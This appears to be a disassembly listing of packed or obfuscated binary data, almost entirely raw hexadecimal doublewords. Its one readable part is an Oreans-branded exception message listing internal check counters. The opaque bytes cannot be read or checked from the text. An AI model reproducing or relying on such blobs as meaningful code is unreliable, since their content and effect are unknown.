		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0CCC35141h, 6490939Fh
		dd 8B66BAB0h, 9E9CAh, 6BD80000h, 0B79C172Bh, 6A421558h
		dd 0A1950B00h, 0FF06062Fh, 61E9595h, 5BD2906h, 85060602h
		dd 6850FC0h, 89000000h,	622F19Dh, 1B858906h, 6A0608F4h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 5414C356h, 5C85619Eh, 9D29006Ah, 6062341h
		dd 0B70F006Ah, 60006AFAh, 0AE9h, 0D6EB0F00h, 0D628CD61h
		dd 66E8B570h, 611F74B9h, 23ED8D33h, 6A0606h, 6AD68Bh, 0DE8h
		dd 1D12BA00h, 8C0A0E17h, 0A13DB8A2h, 880F9553h,	3, 59CFBF0Fh
		dd 0F5F9858Dh, 6A0608h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0A67D2CC3h, 89F98E8Dh, 6002DBDh
		dd 0B5895006h, 6061DE5h, 8E0Fh,	16A0000h, 16AFB8Bh, 3880Fh
		dd 0EE800000h, 6A016A32h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 15A0C350h, 28B3EB1Ah
		dd 53CEF88Ch, 0F01FF68h, 958D8900h, 8306060Eh, 63169BDh
		dd 840F0006h, 3Ah, 8DF9BF0Fh, 8F47885h,	51006A06h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1904h, 0C3514100h
		dd 59A42E84h, 8B660D40h, 14E9D7h, 89600000h, 63219BDh
		dd 858D6106h, 608F44Eh,	25099523h, 6A500606h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
		dd 435EC355h, 0C0D77906h, 20302C6Dh, 2292BF66h,	79E6B860h
		dd 0BD8B6B13h, 60624EDh, 9D895061h, 60620B5h, 0F41BB5FFh
		dd 6A0608h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 669695C3h, 0FF2DD4B9h, 8F40795h, 0D810BA06h
		dd 0B9663481h, 0C0853550h, 29850Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 727DE0C3h
		dd 0F82EC731h, 35E9h, 89F78A00h, 8F41F85h, 919D8906h, 0FF060601h
		dd 8F41FB5h, 0E59D8906h, 0FF06062Ch, 6103995h, 44BF6606h
		dd 0C8BA66B4h, 0FC085BCh, 585h,	0E9816600h, 106A4E6Ah
		dd 880Fh, 0BD830000h, 6063169h,	21840F00h, 80000000h, 858D05D1h
		dd 608F478h, 519D8960h,	0B906061Fh, 77C8FE27h, 12E961h
		dd 0BD8B0000h, 6061E31h, 0F44E858Dh, 0BD8B0608h, 6061B05h
		dd 60F78A50h, 6E9h, 0AF7DF00h, 8B81D6CBh, 6144D9Dh, 0B5FF6106h
		dd 608F41Bh, 0C7816657h, 505A4E11h, 0AE8h, 0EDBC000h, 0DCC45E06h
		dd 80EC6A35h, 595AECE1h, 0F41395FFh, 95290608h,	6063429h
		dd 850FC085h, 1Dh, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 32C35646h, 1F858988h,	600608F4h, 1B3DB58Bh
		dd 8B660606h, 6A61F2h, 0B8B0Fh,	6E90000h, 72000000h, 6E588A4Dh
		dd 56006AC8h, 0FF5AB2B1h, 8F41FB5h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 0DAC5B4F4h
		dd 7E841h, 0C2830000h, 769463C8h, 605AF5A1h, 391B523h
		dd 8F0F0606h, 3, 6144D480h, 0F40B95FFh
		dd 81660608h, 858F25D7h, 29850FC0h, 6A000000h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 1C82C355h, 1D8D8901h, 0BA060624h, 19967E7Eh,	0F41FB5FFh
		dd 8D8B0608h, 6061C39h,	0FFF9BF0Fh, 6103995h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 85F86A32h, 29850FC0h, 6A000000h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 15C7C357h
		dd 0F5A8A37h, 8D8BC8BFh, 606207Dh, 8B66006Ah, 8068D3h
		dd 810F0000h, 6, 29B98D8Bh, 36A0606h, 6AFB8B66h, 15852900h
		dd 6A060625h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 674C1612h, 1515B589h, 0FB8B0606h
		dd 6893B1h, 8BC00000h, 61D6195h, 97B5FF06h, 560608F4h
		dd 936BBA66h, 7D95FF5Fh, 83060607h, 850FFFF8h, 49Fh, 3DE28166h
		dd 585FF51h, 0E80608FFh, 0Eh, 79F41F6Eh, 77576485h, 20AEFBC5h
		dd 0BF666E9Ch, 835A9470h, 8FF05BDh, 840F0206h, 393h, 858DCB8Bh
		dd 5AF59Fh, 0CE8h, 76E12F00h, 72C5DC34h, 0F9E8DC69h, 13E902h
		dd 0A2E90000h, 3247E333h, 8744395Ch, 0F47EA222h, 4F4DC90Eh
		dd 0D0FF5F2Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0E2C35141h, 8D89A087h, 60615F9h, 0EFF2858Dh, 0BD8B005Ah
		dd 60626A5h, 13E9D0FFh,	5000000h, 7E75A972h, 987818E5h
		dd 0D3E49FC7h, 57077DFFh, 0C08B0280h, 2E558D8Bh, 8B660606h
		dd 0D1BD83F8h, 60630h, 0BD830975h, 60604B5h, 50197400h
		dd 0B8C08B53h, 7D8h, 2C518589h,	9D8D0606h, 608B261h, 585BD3FFh
		dd 4B5BD83h, 74000606h,	0B8535017h, 7D8h, 2C518589h, 9D8D0606h
		dd 608AF50h, 585BD3FFh,	24FD8D0Bh, 9D890606h, 6061B15h
		dd 3F68C08Bh, 3000F00h,	6038595h, 1006A06h, 633399Dh, 81006A06h
		dd 1ED66AD2h, 9595FF10h, 6A06061Eh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 504CC352h
		dd 0BD7DBF66h, 6AC0855Ah, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 17042444h, 43000000h, 7C0EC353h, 85895A48h
		dd 608F41Bh, 0A322F181h, 12E96316h, 6D000000h, 6C6BBB77h
		dd 0EB45899Eh, 1B86A754h, 0AF65460Eh, 1FF68FCh,	0BF0F000Fh
		dd 69BD83D3h, 60631h, 19840Fh, 858D0000h, 608F478h, 0B620F281h
		dd 0FE92E90h, 0B1000000h, 15858966h, 8D060600h,	8F44E85h
		dd 6650FC06h, 0A742DA81h, 0F41BB5FFh, 0CF8A0608h, 0F41395FFh
		dd 81660608h, 89D969DFh, 8F41F85h, 0FB8B6606h, 21A985C7h
		dd 606h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h,	44810424h
		dd 1C0424h, 53430000h, 9FB709C3h, 14D235D4h, 0F7816615h
		dd 7D578C3Fh, 0E19D8960h, 1060603h, 61E6995h, 0BD316106h
		dd 6062551h, 0F41FBD83h, 0F000608h, 17884h, 859D8900h
		dd 8D06060Bh, 8F6FD85h,	15950906h, 50060626h, 173DBD8Bh
		dd 16A0606h, 3E9BD8Bh, 0B5FF0606h, 608F41Fh, 1DB589h, 95FF0606h
		dd 608F417h, 2F058D8Bh,	0B5FF0606h, 608F41Fh, 1CB9E6B2h
		dd 0FF69E6F9h, 6103995h, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0E0B90171h, 3D958B6Bh
		dd 0E906060Dh, 9, 652D2A9Dh, 7ABB0804h,	0FEB9663Ch, 1FF68EDh
		dd 0ED80000Fh, 69BD8351h, 60631h, 40840Fh, 800F0000h, 6
		dd 9243F181h, 858D6CCDh, 608F478h, 0E852006Ah, 3, 5AC35A20h
		dd 4245489h, 4244481h, 1Bh, 48C35242h, 0DD810B19h, 0E9E51ECEh
		dd 11h,	13B98D89h, 858D0606h, 608F44Eh,	78C78166h, 0B70F5036h
		dd 1BB5FFFFh, 290608F4h, 60215B5h, 1395FF06h, 0B90608F4h
		dd 5FC05AA9h, 0F41F8589h, 0DFBF0608h, 0FF5F0299h, 8F41FB5h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1504h
		dd 0C3524200h, 0B9663C95h, 95FFC596h, 608F40Fh,	0BE9h
		dd 0A5A2F300h, 0E57FE2ECh, 646B534Fh, 19BD8960h, 66060631h
		dd 0FF61D08Bh, 8F41FB5h, 0C58D8B06h, 0FF060621h, 6103995h
		dd 99852906h, 60060607h, 5F27EE81h, 95314406h, 6062AB1h
		dd 0F717E961h, 0FFF5FFFFh, 8FF68B5h, 895A5006h,	61F358Dh
		dd 9195FF06h, 0F060607h, 858BFAB7h, 6061BB1h, 2D7DBD29h
		dd 0A7E90606h, 0E9000004h, 5, 16BD2DB2h, 1DB58D45h, 810608F7h
		dd 2C63F2D2h, 0E1816615h, 858DBEA6h, 608A49Ah, 60EBF281h
		dd 0D0FF4975h, 216DBD8Bh, 6A0606h, 0FFD2B70Fh, 6039595h
		dd 0C8B70F06h, 0BF0FF38Bh, 9A858DCBh, 600608A4h, 6880Fh
		dd 95890000h, 606226Dh,	20B5BD0Bh, 0FF610606h, 57006AD0h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1904h, 0C3574700h
		dd 8E07AEB8h, 0B5094BE8h, 6062D6Dh, 8D8B006Ah, 60603DDh
		dd 39595FFh, 860F0606h,	19h, 0FE8h, 7D0A3900h, 0B22DB9E4h
		dd 0F4D807A8h, 8968B5F0h, 715CB966h, 8B62B15Fh,	830CB6C0h
		dd 630D1BDh, 9750006h, 4B5BD83h, 74000606h, 8B535019h
		dd 7D9B8C0h, 85890000h,	6062C51h, 0B2619D8Dh, 0D3FF0608h
		dd 0BD83585Bh, 60604B5h, 50177400h, 7D9B853h, 85890000h
		dd 6062C51h, 0AF509D8Dh, 0D3FF0608h, 6A585Bh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 127FD9C3h
		dd 3044D4D0h, 95895228h, 6062F49h, 0FDF9BA5Fh, 85297085h
		dd 6061551h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 160424h, 57470000h, 0D5D523C3h, 1E9DBD89h, 0F5500606h
		dd 958BD88Bh, 6061B1Dh,	59D8D53h, 8B060628h, 8B038903h
		dd 43895043h, 19D8D50h,	8B0608FFh, 5B038903h, 0FCCFB70Fh
		dd 1890Fh, 6AF80000h, 69BD8900h, 8B060620h, 617C1BDh, 1858D06h
		dd 0F0608FFh, 8950CAB7h, 6023195h, 8B606A06h, 62541BDh
		dd 5858D06h, 81060628h,	10C955DAh, 12E95007h, 0A4000000h
		dd 0C272D4D6h, 4E341821h, 74CB6E0h, 8D39F0Ch, 0C1BD8BA0h
		dd 6A060631h, 49BD0B00h, 6A06061Ch, 0B5858900h,	68060620h
		dd 1800h, 14459589h, 89530606h,	6121DB5h, 0AD95FF06h, 0F506060Eh
		dd 2B1995FFh, 0FFF80606h, 8FF68B5h, 95958906h, 0F060611h
		dd 95FFCFB7h, 6060791h,	858D47B1h, 6062805h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0E3C35646h, 0BAB3BD78h
		dd 8118408Bh, 9A9D58CAh, 5185C735h, 6062Eh, 8B000000h
		dd 69BD83F8h, 60631h, 43840Fh, 6A0000h,	3E853h,	5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 60C870C3h
		dd 5AF28166h, 0C3BF0FFBh, 55953161h, 3D06062Dh,	8Ch, 15F830Fh
		dd 58E90000h, 1000000h,	61BA9BDh, 963D06h, 830F0000h, 149h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0B4C35545h
		dd 0FF587185h, 6E8h, 0FA0AA400h, 8BD4A184h, 614A18Dh, 9E85A06h
		dd 42000000h, 49D1645h,	26836600h, 2395BD23h, 8D5A0606h
		dd 5AF59F85h, 0BAC18100h, 155D62Eh, 614B58Dh, 9D0FF06h
		dd 610EDB5h, 0F2858D06h, 81005AEFh, 0C6D6EE9h, 66D0FF00h
		dd 8BD740B9h, 0FEDBAC0h, 0BD831BADh, 60630D1h, 83097500h
		dd 604B5BDh, 19740006h,	0C08B5350h, 0BC6B8h, 51858900h
		dd 8D06062Ch, 8B2619Dh,	5BD3FF06h, 0B5BD8358h, 60604h
		dd 53501774h, 0BC6B8h, 51858900h, 8D06062Ch, 8AF509Dh
		dd 5BD3FF06h, 0A4C68058h, 32DBD8Bh, 8D8B0606h, 6061EF5h
		dd 0B531C08Bh, 6062A7Dh, 0F883F18Ah, 3D850FFFh,	0F000000h
		dd 85C7D3BFh, 6061CADh,	0
		dd 0B6E9F9h, 0AE90000h,	27000000h, 0B91A53D0h, 84989FCBh
		dd 30E94Fh, 0CE90000h, 34000000h, 0CE9A0DFh, 8B849439h
		dd 667ADC93h, 0C4D4DA81h, 0F01F883h, 1185h, 2D858900h
		dd 0E906060Fh, 0B2h, 10E18D8Bh,	0EEE90606h, 89FFFFF2h
		dd 61AA995h, 8BC08B06h,	6088595h, 0D1BD8306h, 60630h, 0BD830975h
		dd 60604B5h, 50197400h,	0B8C08B53h, 7DDh, 2C518589h, 9D8D0606h
		dd 608B261h, 585BD3FFh,	4B5BD83h, 74000606h, 0B8535017h
		dd 7DDh, 2C518589h, 9D8D0606h, 608AF50h, 585BD3FFh, 0BD09EB8Ah
		dd 6060155h, 40B1C08Bh,	223E9h,	0FA8B6600h, 0FD05858Dh
		dd 0BD290608h, 6062971h, 0FEFD8589h, 0B5890608h, 6062455h
		dd 4BE9h, 0CE800h, 46560000h, 5AE4C87Dh, 9DA4E21Bh, 0B509E31Ah
		dd 60626FDh, 87AAB95Ah,	858D4106h, 608FB0Dh, 0CE9h, 17FEB900h
		dd 43F847F9h, 98C174B8h, 8D896006h, 60615F9h, 95294061h
		dd 606015Dh, 0FEFD8589h, 86B20608h, 858D346Ah, 6061F69h
		dd 0FDB5FF50h, 6A0608FEh, 195FF00h, 8306062Fh, 840F07F8h
		dd 162h, 0F6DB8C66h, 850F04C3h,	0FCh, 1C185C6h,	68560606h
		dd 9CA8B852h, 321DB5FFh, 858D0606h, 60639F5h, 46AD0FFh
		dd 100068h, 6A646A00h, 89D0FF00h, 8FF7085h, 0C185C606h
		dd 47060601h, 18AC9B68h, 1DB5FFECh, 8D060632h, 639F585h
		dd 0FFD0FF06h, 0C6F08BD0h, 601C185h, 61684F06h,	0FFC62F26h
		dd 60499B5h, 0F5858D06h, 0FF060639h, 6C9D8DD0h,	530608FFh
		dd 0FF56286Ah, 75C085D0h, 0C185C600h, 41060601h, 87649868h
		dd 99B5FFDBh, 8D060604h, 639F585h, 89D0FF06h, 8FF8985h
		dd 0C185C606h, 4C060601h, 0A4E7A468h, 99B5FF80h, 8D060604h
		dd 639F585h, 8BD0FF06h,	8FF709Dh, 45B8D06h, 759D8D53h
		dd 530608FFh, 0D0FF006Ah, 0FF709D8Bh, 3C70608h,	1, 20C43C7h
		dd 0C7000000h, 624DD85h, 6, 6A006A00h, 8B006A00h, 8FF709Dh
		dd 6A5306h, 0FF6CB5FFh,	95FF0608h, 608FF89h, 1C185C6h
		dd 68450606h, 92A5F797h, 154DB5FFh, 858D0606h, 60639F5h
		dd 6AD0FFh, 0D0FF026Ah,	0F6DB8C66h, 327504C3h, 0FF709D8Bh
		dd 43C70608h, 0Ch, 6A006A00h, 709D8B00h, 530608FFh, 0B5FF006Ah
		dd 608FF6Ch, 0FF8995FFh, 0B5FF0608h, 608FF6Ch, 2B1995FFh
		dd 6A0606h, 39595FFh, 0EA800606h, 51006A20h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 1A473B42h
		dd 0FF44785h, 38Eh, 0D2BF0F00h,	325F858Dh, 6A0609h, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 4CBA4CC3h, 50099C18h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 9C35747h, 2CB54C2Ch, 0FBE77058h, 35FF6400h
		dd 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 0D8C35343h
		dd 66FC2648h, 8964D38Bh, 25h, 68A0F00h,	9000000h, 61DF19Dh
		dd 15BD8306h, 60634h, 96840Fh, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0F373ABC3h
		dd 265D4089h, 89973EBFh, 6175985h, 3DBD8306h, 106061Dh
		dd 5E850Fh, 0D18B0000h,	389BD80h, 0F000609h, 4F85h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0FFF7BA57h, 0AE89BB1h, 34000000h, 81BF2F55h,	6B32A409h
		dd 5AE95F85h, 60000001h, 3810Fh, 8B660000h, 858B56DFh
		dd 6061DCDh, 0E981615Bh, 6ACA73C7h, 8960DB33h, 61EF18Dh
		dd 0C9B52306h, 6106061Bh, 8589C033h, 6060375h, 73F0F40h
		dd 58F640Bh, 0
		dd 0F04C483h, 0BD89FEB7h, 60614F5h, 8377D580h, 840FFFFBh
		dd 0Dh,	2E5D9D29h, 0F0E90606h, 0F5000000h, 96E9F5h, 3FBA0000h
		dd 0FC624185h, 0C244C8Bh, 0A481C7h, 0FFFF0000h,	8183FFFFh
		dd 0B8h, 0C3C03304h, 0C245C8Bh,	0E855h,	815D0000h, 93281EDh
		dd 0B8838B06h, 8D000000h, 9334C85h, 0B8838906h,	5D000000h
		dd 6AC3C033h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 0E134C355h, 14E90F8Dh,	64000000h
		dd 0C0C10C11h, 34241CB7h, 67658EFAh, 86AE89E9h,	8B24832Ch
		dd 63005BDh, 0FABF0F06h, 2890F60h, 56000000h, 0D9D0B5Eh
		dd 6106062Dh, 3277858Dh, 958B0609h, 6060DFDh, 64D18B50h
		dd 35FFh, 0E2810000h, 128527FDh, 258964h, 0F000000h, 282h
		dd 0B9C88B00h, 0Ah, 55D704B8h, 81640548h, 65BB0DF7h, 0BA8685D4h
		dd 34B640h, 5FE8EA81h, 81ED0034h, 4D5868FBh, 0C70A7556h
		dd 620F185h, 106h, 58F6400h, 0
		dd 8904C483h, 6014DBDh,	6820F06h, 31000000h, 620998Dh
		dd 8BC08B06h, 62EA5BDh,	0D1BD8306h, 60630h, 0BD830975h
		dd 60604B5h, 50197400h,	0B8C08B53h, 43Dh, 20B98589h, 9D8D0606h
		dd 608B2C8h, 585BD3FFh,	4B5BD83h, 74000606h, 0B8535017h
		dd 43Dh, 20B98589h, 9D8D0606h, 608AF69h, 585BD3FFh, 0EDBD8BF9h
		dd 8B06062Ch, 13AE9C0h,	40000h,	2E310000h, 353538h, 7 dup(0)
aExceptionInfor	db 'Exception Information',0
aPleaseSendTheF	db 'Please, send the following codes to info@oreans.com. Thank you.',0Ah
		db 0Dh,0Ah
		db 0Dh,'        (press CTRL+C on this window to copy to clipboard)    ',0Ah
		db 0Dh,0Ah
		db 0Dh,'Version  = %s',0Ah
		db 0Dh,'CheckIN  = %d',0Ah
		db 0Dh,'CheckOUT = %d',0Ah
		db 0Dh,'ProcIN   = %d',0Ah
		db 0Dh,'ProcOUT  = %d',0Ah
		db 0Dh,'ExitIN   = %d',0Ah
		db 0Dh,'ExitOUT  = %d',0Ah
		db 0Dh,'TPin     = %d',0Ah
		db 0Dh,0
		dd 3A5BD83h, 0F000606h,	12D84h,	80858D00h, 500608ADh, 0ACEA858Dh
		dd 68500608h, 80000001h, 0AD9095FFh, 858D0608h,	60933C9h
		dd 0D3858D50h, 50060933h, 6A006Ah, 0ACFE858Dh, 0FF500608h
		dd 8AD80B5h, 5995FF06h,	8D060601h, 933C985h, 858D5006h
		dd 60933D7h, 6A006A50h,	10858D00h, 500608ADh, 0AD80B5FFh
		dd 95FF0608h, 6060159h,	33C9858Dh, 8D500609h, 933E385h
		dd 6A5006h, 858D006Ah, 608AD5Dh, 80B5FF50h, 0FF0608ADh
		dd 6015995h, 0C9858D06h, 50060933h, 33EB858Dh, 6A500609h
		dd 8D006A00h, 8AD7B85h,	0B5FF5006h, 608AD80h, 15995FFh
		dd 858D0606h, 60933C9h,	0E7858D50h, 50060933h, 6A006Ah
		dd 0AD64858Dh, 0FF500608h, 8AD80B5h, 5995FF06h,	8D060601h
		dd 933C985h, 858D5006h,	60933DBh, 6A006A50h, 6C858D00h
		dd 500608ADh, 0AD80B5FFh, 95FF0608h, 6060159h, 33C9858Dh
		dd 8D500609h, 933DF85h,	6A5006h, 858D006Ah, 608AD73h, 80B5FF50h
		dd 0FF0608ADh, 6015995h, 80B5FF06h, 0FF0608ADh,	6025595h
		dd 0A2E906h, 0BD830000h, 60613B5h, 95840F00h, 83000000h
		dd 61D3DBDh, 850F0006h,	11h, 28FD958Bh,	0C2810606h, 1CF8h
		dd 0FE9h, 5958D00h, 8B060628h, 0C2813452h, 3BD4C340h, 15319589h
		dd 0BD830606h, 6061531h, 55840F00h, 8B000000h, 615319Dh
		dd 4CC38306h, 8589038Bh, 60933D3h, 15319D8Bh, 0C3830606h
		dd 89038B50h, 933D785h,	319D8B06h, 83060615h, 38B54C3h
		dd 33E38589h, 9D8B0609h, 6061531h, 8B58C383h, 0E7858903h
		dd 8B060933h, 615319Dh,	5CC38306h, 8589038Bh, 60933DBh
		dd 3A5BD83h, 0F000606h,	0D85h, 0B5BD8300h, 60613h, 68840Fh
		dd 0B5FF0000h, 60933EBh, 33DFB5FFh, 0B5FF0609h,	60933DBh
		dd 33E7B5FFh, 0B5FF0609h, 60933E3h, 33D7B5FFh, 0B5FF0609h
		dd 60933D3h, 33CD858Dh,	8D500609h, 9340585h, 858D5006h
		dd 60604C5h, 8995FF50h,	83060633h, 406A24C4h, 33EF858Dh
		dd 8D500609h, 604C585h,	6A5006h, 2F0195FFh, 16A0606h, 39595FFh
		dd 0C18B0606h, 5E960h, 16B10000h, 8B8F8D61h, 0D1BD83C0h
		dd 60630h, 0BD830975h, 60604B5h, 50197400h, 0B8C08B53h
		dd 40Eh, 2C518589h, 9D8D0606h, 608B261h, 585BD3FFh, 4B5BD83h
		dd 74000606h, 0B8535017h, 40Eh,	2C518589h, 9D8D0606h, 608AF50h
		dd 585BD3FFh, 28F0F57h,	8B000000h, 0CE95ED6h, 0A1000000h
		dd 89F46FB5h, 0FAFAC8C3h, 60B7BD14h, 0AE9h, 54ABAC00h
		dd 2BB12FE7h, 0E98D9C55h, 12h, 6F605BAh, 9622F376h, 0BA55D1E2h
		dd 0F3213FEDh, 8B613C57h, 50006AC0h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 2E6E86D0h
		dd 7E3EF4EEh, 0C9BF0F78h, 3415BD83h, 0F000606h,	2D84h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0AD89D02h, 0C680A2D6h, 1C3E999h,	0BE660000h
		dd 0DF8C3B90h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 18h,	26C35747h, 0C3A25966h, 4C7F766h, 92850F00h, 60000001h
		dd 0A300E681h, 0D9815541h, 0F8CC60Dh, 6AFF2B61h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0BD3CC352h, 0F826D72Fh, 39E29D8Dh, 860F0609h, 0Ch, 6850Fh
		dd 0C1810000h, 0EA2D4EDh, 50606050h, 5A310F52h,	615E5658h
		dd 0DED7BE50h, 61594B73h, 0F241C89h, 38Eh, 61FC6000h, 35FF64h
		dd 0E9000000h, 9, 5B9C1B5Ch, 0B67BCBA5h, 25896445h, 0
		dd 0AAF18166h, 5800F7Ch, 0BE000000h, 62D6291Ch,	0D38BC48Bh
		dd 0CE8h, 6481A000h, 35AC7FD3h,	23F3CDBAh, 31BE66B8h, 1CD5E4Eh
		dd 0B1B200EBh, 10C4BA66h, 58F64h, 0F000000h, 0C483CFBFh
		dd 0BD68B04h, 0C2840FC0h, 6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 18042444h, 40000000h, 0AD9EC350h
		dd 0F39DF43h, 0B8Ah, 0B70F6000h, 800FD7h, 61000000h, 0BD8DFC61h
		dd 6067178h, 0B8D6B70Fh, 1, 7830Fh, 0B9570000h,	1734A459h
		dd 0D3BF0F59h, 6AE7FFh,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1C0424h, 55450000h, 1AFCDFC3h, 7FDC06ACh, 0E9FC833Fh
		dd 7, 6D42FC67h, 57BAFDA6h, 10245C8Bh, 0B8838Bh, 0B60F0000h
		dd 0C8FE0140h, 0B08389h, 83830000h, 0B8h, 0C0335F02h, 55006AC3h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1404h, 0C3554500h
		dd 6A61D9h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h
		dd 51410000h, 0B70FD5C3h, 66C08BF0h, 0F01FDA81h, 30D1BD83h
		dd 75000606h, 0B5BD8309h, 60604h, 53501974h, 0EB8C08Bh
		dd 89000004h, 620B985h,	0C89D8D06h, 0FF0608B2h,	83585BD3h
		dd 604B5BDh, 17740006h,	0EB85350h, 89000004h, 620B985h
		dd 699D8D06h, 0FF0608AFh, 0F9585BD3h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 14h, 64C35545h, 0F657B966h, 0BE9C08Bh
		dd 0A8000000h, 0ECFFBCCBh, 0EE777A9Ch, 0CD80C7C3h, 0E8C28B25h
		dd 6, 8FA597F3h, 0E95B5AA8h, 7,	44EAF4BAh, 81DA267Eh, 7577C3h
		dd 0AE900h, 0FCE10000h,	22071234h, 0B773AF22h, 1D3A68h
		dd 0CABF0F00h, 11E85Eh,	6EBC0000h, 14F9B244h, 62D6CA0Ah
		dd 9144E342h, 5924C61Eh, 10E933FFh, 7B000000h, 0D7CB71D6h
		dd 743C5372h, 0F6FC5B75h, 5AC45CEFh, 867FC281h,	0C2810531h
		dd 5E5BE5B3h, 0EECE181h, 0F2817635h, 18F88EFCh,	811389F8h
		dd 7AAED9D9h, 4EB831Ch,	7615CCB9h, 850F4E64h, 0FFFFFFB8h
		dd 0EB66D180h, 46F31718h, 9Bh, 4 dup(0)
		dd 20BE900h, 8B600000h,	0E824245Ch, 0
		dd 8BED815Dh, 6106093Bh, 0E90004C2h, 0FFFFFFE6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 8C26160h
		dd 0FFF6E900h, 6160FFFFh, 0E90008C2h, 0FFFFFFF6h, 2 dup(0)
		dd 0E9C36160h, 0FFFFFFF8h, 3BC3B58Bh, 0E6810609h, 0FFFFF000h
		dd 0BE9h, 19E800h, 0C6810000h, 1000h, 3BC7B53Bh, 860F0609h
		dd 0FFFFFFE9h, 0FD8200Fh, 60CFD822h, 6650C361h,	324C88Ch
		dd 840FC00Ah, 19h, 2BB5350h, 8B000000h,	6153185h, 0A188606h
		dd 0F6850FDBh, 5BFFFFFFh, 4FF5858h, 0CFE9C324h,	50FFFFFFh
		dd 82474FFh, 0FA195FFh,	0F500606h, 0FE244C01h, 1CC08358h
		dd 245C8B53h, 5889660Ch, 588966FCh, 8C665B02h, 0A0324C8h
		dd 9840FC0h, 8B000000h,	6153185h, 0C606h, 2404FF58h, 0E90004C2h
		dd 0FFFFFFBBh, 8C665053h, 3E380CBh, 840FDB0Ah, 38h, 2BBh
		dd 31858B00h, 86060615h, 0FDB0A18h, 0FFFFF685h,	8985C7FFh
		dd 60607h, 8B000000h, 8B082444h, 100098h, 988900h, 8B000010h
		dd 0E9188918h, 0Ah, 78985C7h, 1000606h,	5B580000h, 0C32404FFh
		dd 0FFFFA3E9h, 3E8060FFh, 31840F00h, 0BB000000h, 763AB7A1h
		dd 1B101B0h, 13E9h, 0C88AAC00h,	0C332C302h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC90Ah, 0FFFFFFE5h, 850FD20Bh
		dd 0FFFFFFDDh, 8B52C361h, 7A8B57D4h, 0E9C03308h, 1, 3F80AAh
		dd 0FFF6850Fh, 5A5FFFFFh, 530004C2h, 0C0335651h, 10E9DB33h
		dd 0AC000000h, 0D3D1D833h, 5ABCC381h, 0C88A3746h, 0B49D3D3h
		dd 0E8850FC9h, 8BFFFFFFh, 5B595EC3h, 0A1BB60C3h, 0B0763AB7h
		dd 11E901h, 32AC0000h, 0D1C32AC3h, 0D20BAACBh, 1840Fh
		dd 0A4A0000h, 0E7850FC0h, 0BFFFFFFh, 0DF850FD2h, 61FFFFFFh
		dd 0D88C66C3h, 840F04A8h, 29h, 3B6885C7h, 10609h, 0F500000h
		dd 0FE244C01h, 3B6C858Fh, 858D0609h, 6093B64h, 3B6CBD8Dh
		dd 38890609h, 23E9h, 5858D00h, 8B060628h, 17053840h, 899B46F3h
		dd 93B6485h, 5858D06h, 8B060628h, 85893C40h, 6093B68h
		dd 3B81858Dh, 85890609h, 6060FA1h, 87E9h, 0D48B5200h, 8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 30060000h, 46C8D106h
		dd 820FF73Bh, 0FFFFFFF1h, 8C25A61h, 0D48B5200h,	8728B60h
		dd 0B80C7A8Bh, 0A945CAB2h, 7E9h, 28063000h, 46C8D106h
